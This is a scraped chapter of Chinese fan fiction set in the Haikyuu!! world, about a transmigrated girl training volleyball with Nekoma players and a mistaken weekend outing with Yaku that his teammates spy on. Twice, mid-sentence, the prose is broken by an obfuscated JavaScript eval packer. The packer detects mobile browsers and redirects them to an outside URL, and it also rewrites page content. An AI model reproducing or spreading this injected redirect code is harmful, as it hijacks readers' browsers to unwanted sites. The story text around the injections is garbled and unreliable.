和灰羽不同。我和他同班,有太多交流互助的机会,更何况我们还有“交易”,所以对他提出要求,我觉得我们两者是公平的。 但黑尾和研磨是我的学长们,只有在排球体育馆里短暂的交集,他们没有对我所求,我是纯粹的得利方。 如果有我可以能为他们做的事情就好了…… 我黯然地想着,头一回格外希望有人对我有所请求。 在过程中,我也重新认识了研磨。 他竟然这么厉害,果然“脑”的说法不是空穴来风,他身高不高(研磨:生气!),但托球技术相当好,怪不得能做二传。 他人也很好。真奇怪,我是不相信人会对其他人毫无缘由好的人,对陌生人总是保持警惕。在这个世界,截至目前遇到的每个人居然都很好。 好人在这个世界的比例也太大了。 研磨也是。他不吝赐教,告诉我很多关于传球的技巧,没有因为我不是他们社团的,而且和他非亲非故就对我遮遮掩掩。 我抱怨自己力气没有其他身体更结实强壮的学姐那么大,研磨摇摇头说:“传球不是力气越大越好吧,更重要的是精度。” “怎么把球传到队友最擅长最舒服的地方,让他们接到,才是最重要的吧。” 真可谓醍醐灌顶。 训练中,我要负责接住灰羽的球,他像是个比我还新的新人,如果新人内部也要分级的话,所以他的球,并不是顺着轨道很自然到达我这,我能接得很轻松。 一方面,由于他控球不好,球是乱飞的,另一方面,他的球重。 男生力气本来就比女生大,他还是一个身体素质都比一般男生强上许多的健壮男子,球本身没有施加多余的高深技巧,所以不复杂。但击球力气极大,球速就快。 我开始错过好几个,都是球到的时候我人没到。 经历几个球后,我慢慢能够跟上他的速度,跟上了速度还是接不到——手碰到球的一刻被一阵痛感击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218645|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,我仿佛被一个飞过来的椰子砸中。 这样的球,完全感觉不到球原本的弹性了,只觉得好重、好痛。 “嘶——”我忍不住呼出声。 “没事吧。”黑尾学长担心地跨出一步,忧心地看着我。 我连忙摆手,示意我没事,把手背到身后悄悄揉了几下相撞的区域。 撞几下没事的,只不过,有一点点痛而已,我发誓就一点点。 关键是怎么跨越当下的困难,我想。 我必须找到一条突破之路。 我陷入沉思。 对待力量,最直接的对抗手段就是还之以更强大的力量。这就是为什么,面对重量级的对手,往往会派队伍里相对强壮的同伴进行对抗。 但我明显没有这样的身体能力。 我不愿服输,难道就没有丝毫赢面了吗? “镇静,镇静下来。”我深呼吸,逼迫自己跃动的心跳回归平静。 我必须冷静思索才能找到解决办法。 想想自己的原点。 比如——在原来的世界,有没有类似的经验可以参照? 我比别人不同的是,拥有另一个世界数十年的人生体验,那段度过的人生不是虚度。 如果不能正面对抗,我逼迫自己换一个角度,那曲线救国呢。 与刚强相反,就是柔。 柔的力量吗…… 我忽而有柳暗花明、破开云雾之感。 道德经所言:“坚强者死之徒,柔弱者生之徒。是以兵强则灭,木强则折。强大处下,柔弱处上。” 齿坚于舌而先蔽,舌柔于齿而常存。 面对刚的力量,我以刚克刚和灰羽比拼力量显然不行,但柔也是一种力量啊。 年迈的老人为什么能用太极接住一名大汉的铁拳? 我恍然大悟,捕捉到了一隙破局的灵感。 我需要的是四两拨千斤的化劲技巧。 “变了。” “变了。” 黑尾铁朗和孤爪研磨,一个在场下,一个在场上,不约而同地说。 他们的经验丰富,自然能从川合莉莉香的动作眼神的变化,看出少女在竞技中又一次进步了。 哪怕对方在这场训练中一直在进步。 但是她就是能以行为下一秒告诉他们,她还可以更进一步,她还没有停止。 下一球,一切都不一样了,仿佛时间在一刻静止。 少女的动作的刻意变化,手腕的翻转,原本来势汹汹的球好像在少女的手底被驯服一般,一下子变得温驯而乖巧。 球被稳稳接住了。 跳起的灰羽列夫滞留在半空中,也不由面露惊异,孤爪研磨虽没有太大表情变化,但一瞬间陡然睁大的眼瞳,看出他的动容,而黑尾铁朗,身体前倾,嘴巴已经不自觉张开。 他们好像见证了一朵花的绽放,一只雏鸟的振翅,一只蝴蝶的破蛹而出,总之是一切美好事物的开端,在他们的眼下发生。 突然莫名感动。 我刚刚,做了什么…… 接住球的我陷入迷茫乃至忘了后面的动作,手抱着球在原地发呆。我还在回味那一瞬间的感觉,如茫茫夜海中照亮的清辉。 直到灰羽震惊地拍手,“好厉害!!”他的声音才拉回我的心神。 研磨擦汗,看着少女,神色莫测,“干得还不错嘛。” 黑尾——向孩子她妈一样欣慰地拭泪,“已经成长到这个程度了!” “你怎么做到的?”他们问。 我:“……就是想到了一些东西。” 我的故乡给我留下了这么多帮助我的东西啊…… 浓浓的情绪从我心底涌来。 训练结束后,黑尾学长、研磨和灰羽几个男生很有绅士风度说送我回去。 “莉莉,我们一起送你回去吧。” 黑尾学长热情不已。感觉到我态度软化后,他就跟着变了称呼。“莉莉”的叫法他说是跟着他妹妹学的。女孩子叫我没意见,男生的话……我按下觉得异样的感觉,是不是太亲近了?但刚刚被别人照顾了,也不好拒绝。 而且,是黑尾学长诶。估计抗议也没用。我对研磨面对黑尾学长时束手无策的无力,有了同病相怜之感。 我推辞不过,答应了。 训练流了很多汗,不擦干吹了夜风容易感冒。他们索性说在外面等我,把整个活动室留给我收拾整理。 我用准备好的毛巾擦汗,手机弹出一个窗口,我拿起看了下,是夜久学长传送过来的Line消息——日本使用的即时通讯软件,作用的微信差不多,上面写着: “莉莉香,学校明天休息,如果没有安排,要不要明天出来呢?——夜久卫辅。” 这么卷吗?我大骇,竟然有比我还拼命的人,怪不得我那天晚上能遇上他,想到此,我对夜久学长肃然起敬,一个人如此优秀还比你努力,真是比不过啊。 我羞惭,这还说什么,跟了跟了。 我轻快地回道:“好啊。” 心里不住想,真是又靠谱又贴心的前辈呢, 明天也给他展示一下我今天的成果吧。 14.第 14 章 夜久卫辅站在街口,在家里就开始坐立不安,他索性比约定的时间来得早很多。 难得的休息日,不用穿学校制服,也没有训练计划不用穿运动服,某人于是动了精心打扮的心思——只是结果看来只是差强人意。把衣柜翻烂了,才挖了一件能看的米色连帽外套和休闲长裤。 可见运动少年衣物的储备量有多单薄。 不过不是说吗,青春就是最大资本。可爱的娃娃脸,打扮简单但架不住青春洋溢,充斥着少年阳光的气息。等待间隙,一辆车停在他身边,车窗摇下来,是个身材窈窕、抹着艳色口红的女人。 “等人吗,小哥?”她压低嗓音,企图和这位小帅哥来一场香艳的约会。 夜久涨红了脸,结结巴巴承认自己确实在等人。熟女姐姐几番劝说无果,只得感叹“还是小年轻真可爱”,遗憾驱车离去。 这一幕落到偶然路过的海信行眼里,他躲在墙角扣墙皮。 怕兄弟过不好,又怕兄弟过太好。 目睹夜久竟然有幸被成熟大姐姐搭讪,还假装矜持拒绝,海信觉得这人颇为不识好歹。不过眼睛一眯,他立刻发现了问题——怎么平时大家一起灰头土脸的,天天套着音驹运动服不修边幅,今天有一个人转性了呢? “这颇为刻意的打扮……” 海信原本时常笑眯眯、看不见眼瞳的双眼此刻完全睁开,眼里一道锐光闪过,“啊咧,莫非夜久这是在约会?” 他饶有趣味,一脸看戏,抚摸下巴煞有介事道:“这可不能袖手旁观了啊。” 行动力此时变得超强,海信迅速掏出手机,眼疾手快拨出了电话。 “黑尾,你知道夜久今天出来和人约会吗?” “什么你不知道?”明明黑尾看不到,他却表情动作夸张到像是在演话剧,仿佛夜久是被他抓住,藏着惊天动地大事的小尾巴。 “那你赶快来,我在XX路口旁边的M记等你。”还嫌不够,他不忘补充道,“研磨和你在一起?把他一起带过来啊。” “人越多越好啊。” 海信选择打电话的对象不是随便的,黑尾和夜久从高一就一直暗中较劲,他此番恶作剧的通报完,别人不一定买账,但黑尾肯定上钩。 果不其然,电话那头就听到“刷”地从床上跃起,紧接着 “嘭”一声,是人和床板的撞击声,伴随着黑尾急不可耐的追问。 “什么?我马上过来!” 海信挂了电话,又琢磨开了,拨打了另一个电话,这次是给队里的主攻手二年级的山本猛虎学弟。 如果说黑尾是纯粹和夜久过不去,那这个学弟就是和异性过不去,一个连烦恼都是如何和女生说话,新学期吵着要美女经理的人,如果阿虎知道夜久和别人约会,会发生什么呢? 真期待。 其实海信并不确定夜久是不是在约会,但他已经自顾自把这个“罪名”毫无心理负担安插在夜久头上。 电话接通了,海信对症下药换了副说辞。 “阿虎,夜久他,他竟然脱单了!” 海信眉梢藏着煽风点火,语气却非常沉痛,山本猛虎隔着电话线都能感觉到学长被信任的好友同伴背刺的失落。 太可怜了,太让人心碎了,山本猛虎的眼眶湿润了。 这种感觉他太理解了,说好的一群单身汉里,突然有人就背叛了神圣的组织。 而且这个人,还是一直被所有人信任的,被他们交托后背的夜久前辈。 这简直就是叛徒的行径! “我马上来!可恶这个混蛋!” 连学长都不叫了的山本猛虎披上外衣就冲出门去。 事情到这里,海信才略微心满意足,准备收手,福永在饮食店打工不便打扰,至于没通知三个一年级,只是仅剩的一点同年级的善良在发挥余热。 他是准备打的,电话拨了一半了,转了转眼珠又作罢。 算了,还是在一年级的小孩子面前给夜久留一点面子吧,总归是学长,不能底子都被掀完了。 多么善良、有同伴情谊的他自己啊,海信在心里夸奖着自己。 如果你问,他通知了这么多人,让夜久会不会在二、三年级面前丢脸? 这个他就不管不顾了。 而至于为什么这么热衷看夜久笑话…… 海信收起手机,“哼”了一声。 夜久卫辅,今天就让你尝尝被迫高一就为你和黑尾操碎了心的我的报复吧! 海信行,一个为队里的大大小小的问题儿童操心,天天烦心琐碎事务的,过于老实靠谱的学长。 猫队里一名画风格格不入的默默铲屎官。 每天都在为队里争锋相对斗嘴的顽皮大黑猫和倔强小橘猫,不务正业醉心游戏的三花猫,以及新来的俄罗斯蓝猫学弟而烦恼。 怎么都是动物,除了他之外没有人类?他真的很想问问猫又教练——连教练都像一只老猫,海信偶尔会大逆不道地觉得,教练长得很像他妈妈摆在台子上的招财猫雕像。 除了猫,今年队里还吸纳了一名犬样学弟犬冈走。 属于是有猫有狗,就是没有和他一样负责给这群人擦屁股的人类。 【招新的时候,倒是考虑一下队里唯一正常人的我的心情啊!】 海信这般发出哀嚎,浑身散发着怨念的气息。 路过的行人纷纷退避三舍。 夜久还站在路口,海信找了个观测情况的好地方,他躲在夜久背后视角盲区的M记的玻璃墙折角处。 等待黑尾他们来的空闲,海信从包里“嗖”地拿出望远镜,隐蔽地观察着夜久,以及他前方的动态,企图找到可疑的疑似“约会对象”的人, 虽然造谣了夜久一圈,但海信也纳闷。 到底是和谁约会啊,真的是约会吗?是我认识的三年级的谁吗? 这个疑问让他抓耳挠腮,愣是把三年级有名有姓的女生一个个点兵一样在脑子过了一遍,硬是没找出半丝暧昧的痕迹。 街上人来人往,每一个人看上去都像是可疑的。 这个可爱的短发妹妹——啊,不是,她走过去了。 是那个身材前凸后翘的性感姐姐吗?——也不是。 总不会……海信狐疑地想,是男的吧。 就在他怀疑了一圈人,连夜久的取向都不放过之际,迎面从望远镜里出现了一个身影,他睁大了眼睛。 他不是有意去看她,但事实是,她在人群中如此显眼,以至于仅仅是刚出现就迅速占据了他全部的注意。 望远镜的镜头除了她,仿佛塞不下别人,其他人自动降为背景,被一带而过。 少女留着长度肩以上的短发,她脚步匆匆,发丝顺着动作上下轻盈晃动,连带他的心也跟着晃。她像在赶时间,而且显然快迟到了,证据就是她脸蛋红扑扑的,不是自然的红晕,而是由于跑步血液加速导致的。她小口微张,胸口一起一伏,轻轻喘气。 慢点啊。 左右的人都情不自禁因为她而放慢步伐,想多欣赏一下美好的事物。 但她本人却无暇关注周围,一心只朝着自己目标匆匆赶路,有些故作搔首弄姿的年轻男孩被她无情擦肩而过,徒然失望喟叹。 到底是赶着去见哪个幸运儿啊? 正这样猜想,海信却下一秒发现,她停住了,站定的旁边是一个意想不到的人。 夜久卫辅? 啊咧,这是什么情况? 海信放下望远镜,几乎忘了呼吸。太过于震惊,乃至一瞬间他脑子一片空白,想不起更多的事情。手机的来电响起,他接通后,黑尾气呼呼问道:“你在哪啊?” “黑尾……”他还在恍惚,迷迷糊糊回答,“如果我跟你说夜久约会对象是一个无敌美少女,你相信吗?” “什么?!” 我是真的快跑断气了。 本来计算好时间出门,从从容容,却因为半路收到夜久信息,他说他已经到了。 到了?看看手机的时间,我才出门五分钟,他就到了? 这是什么情况?真的对自己要求就这么高吗?见面也要早到? 我怕他久等,只能从收到信息开始,快马加鞭奔过来。 “夜久学长,你等很久了吗?”我站定后,微微扶胸平缓气息,艰难扯出一抹尬笑。 其实从时间上看,如果他说他早到了时没说谎,那他就真的是等很久了。 “也没多久。”夜久露出一个宽和的微笑,体贴递给我一张纸巾让我擦汗。 我礼貌道谢,又听见他很犹豫,欲言又止问:“莉莉香你……” “怎么穿成这样呢?” 我低头检查了自己的穿着,薄荷绿色的运动短袖配上棉质长度到膝盖的五分裤,加上运动鞋,很正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220332|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、很普通的运动装束,没有奇怪的地方。 我于是抬起头,好好又看了夜久的装束,这才发现不对——他没穿运动裤,而是长裤,就连鞋子都是板鞋,而不是专门的排球运动鞋。 我反过来奇怪问他:“学长,不对啊,你这一身,怎么打球啊?” 他懵了,问道:“为什么今天还要打球呢?今天不是休息吗?” 我更惊讶了。 “你不是今天约我出来训练,督促我练球的吗?” “不是主动给我开小灶,让我假期弯道超车的吗?” “不是你太努力,太用功,想拉着我一起共同进步吗?” 夜久:“……” 整个人被这致命三连问打得稀碎,他沉默半晌,才很无奈说:“我怎么会周末找女孩子出来就是为了训她呢?” 那也太直男了吧,连他都会觉得不对劲的程度。 可怕的是,莉莉香竟然觉得这样做没问题。 到底谁跟神经大条,谁是直男,已经分不清了。 我恍然大悟:“哦,原来,你是想周末出来玩?” 我再低头回顾我这精心挑选的、超适合运动的一身,不好意思捂住脸。 插播一个日本小知识:在日本,女生化妆和穿裙子,打扮漂亮被认为是有礼貌的行为。相较于那些不化妆、打扮很中性化的女性,则会被认为不太得体。就像韩国也有这种社会惯例——如果完全不化妆出门,会被人觉得憔悴、精神不好。 所以,我只得带着歉意地说:“是我误会了,早知道我应该打扮地更得体正式一点的。” 但夜久搞清楚情况后,却又笑了笑。 “没事,你这样,也还是很好看。” 夜久看见莉莉香穿着时,要说一瞬间没有一点失落是不可能的。 从昨天晚上对方同意邀约开始,就已经忍不住期待她穿校服以外的常服是什么动人模样了。 结果原来是大乌龙。 真是的,他怎么可能做这种事情啊。夜久不由扶额,却又闷笑起来。 没有少女气息的中性打扮,但也许,这就是喜欢的模样吧。 你让他现在再去想象,她曲裾飘飘、身着华服,他好像想象不出来。 因为在排球训练场认识的川合莉莉香,本来就是穿着运动服和运动鞋的模样。 这就是他喜欢的她,原本的模样。 “对不起,我搞错了。”我再一次道歉。 我自己也觉得自己太离谱了。 怎么会有人周末是约人出来训练呢?这就像一个非领导的同事把我约到公司加班一样,事后想起来都会觉得神经的程度。 但由于夜久在我心里是一个勤勉的学长形象——那天遇到他很晚,说明他也留下来训练到很晚。所以导致我竟然把周末约人出来训练这件事合理化了。 嗯,是夜久学长,就很正常了。 他一定对自己要求很高吧。 怀着这样的念头,我觉得出来玩这种事情和他不沾边,有这种猜测都像是亵渎了他,就比如无法想象学霸会逃课一样。 听完我的话,夜久哭笑不得。 “怎么,我在你心目中被神化了吗?”他轻轻敲了我一下,“不要因为大家都说自由人是音驹后盾,你就觉得我就很特殊啊?” “我也是个普通人罢了。” 我们相视一笑。 “其实……”夜久又开口,“误会了也挺好的。” 我:“啊?” “因为——”他含笑望着我,“如果我真的邀请你出来玩,你肯定就不同意了吧。” “也,没有吧……”我心虚地反驳,但确实,男生约我出来,我一般毫无兴趣,觉得浪费时间。 但是如果是他呢,我突然看着他,他此刻也看着我,棕色的瞳孔里倒映着我。 有一股情意流淌,我张了张嘴,想当然地拒绝像是哽住了,我明明在来的路上拒绝搭讪可顺嘴了,一点为难都没有。 但以被他说中的态度对待我,我却不忍心了。 他说他是个普通人,但是这么温柔,又是这么帮助我,乃至于我无法把他和我拒绝过的人相提并论。 像和谁赌气,我开玩笑说道。 “难说,也许是你的话,我不会拒绝呢。” 说完我也先愣住了,“不是……”,他耳尖却悄悄红了。